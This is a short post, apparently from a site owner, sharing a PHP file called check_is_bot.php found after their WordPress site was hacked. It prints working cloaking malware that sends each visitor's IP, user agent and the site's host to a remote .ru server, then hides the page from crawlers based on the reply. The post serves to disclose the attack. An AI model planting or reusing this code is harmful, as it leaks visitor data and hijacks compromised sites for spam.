Exploit that was used to hack our wordpress

check_is_bot.php

<?php
$remote_cloaker = 'http://cl.digitaloceanpromocode.ru/inc/mods/cloaka/remote.php';
$key = '13481348';
error_reporting(0);
$is_bot = is_bot($remote_cloaker, $key);

function is_bot($remote_cloaker, $key)
	{
	if (!function_exists('getUserIP'))
		{
		function getUserIP()
			{
			$array = array(
				'HTTP_X_REAL_IP',
				'HTTP_CLIENT_IP',
				'HTTP_X_FORWARDED_FOR',
				'HTTP_X_FORWARDED',
				'HTTP_X_CLUSTER_CLIENT_IP',
				'HTTP_FORWARDED_FOR',
				'HTTP_FORWARDED',
				'REMOTE_ADDR',
				'HTTP_X_REMOTECLIENT_IP'
			);
			foreach($array as $key)
			if (filter_var($_SERVER[$key], FILTER_VALIDATE_IP)) return $_SERVER[$key];
			return false;
			}
		}

	$userIP = getUserIP();
	$uagent = getenv('HTTP_USER_AGENT');
	$response = @file_get_contents($remote_cloaker . '?data=' . base64_encode($_SERVER["HTTP_HOST"] . "||" . $userIP . "||" . $uagent . "||" . $key));
	if ($response)
		{
		$resp = json_decode($response, 1);
		if ($resp['is'] == 'banned_bot' || !empty($resp['error']))
			{
			header('HTTP/1.1 404 Not Found');
			header("Status: 404 Not Found");
			die('404 Not Found');
			}

		if (!empty($resp['js']) and $resp['is'] == 'user') setcookie('c', 1);
		if ($resp['is'] == 'user') unset($resp['is']);
		return $resp['is'];
		}

	return true;
	};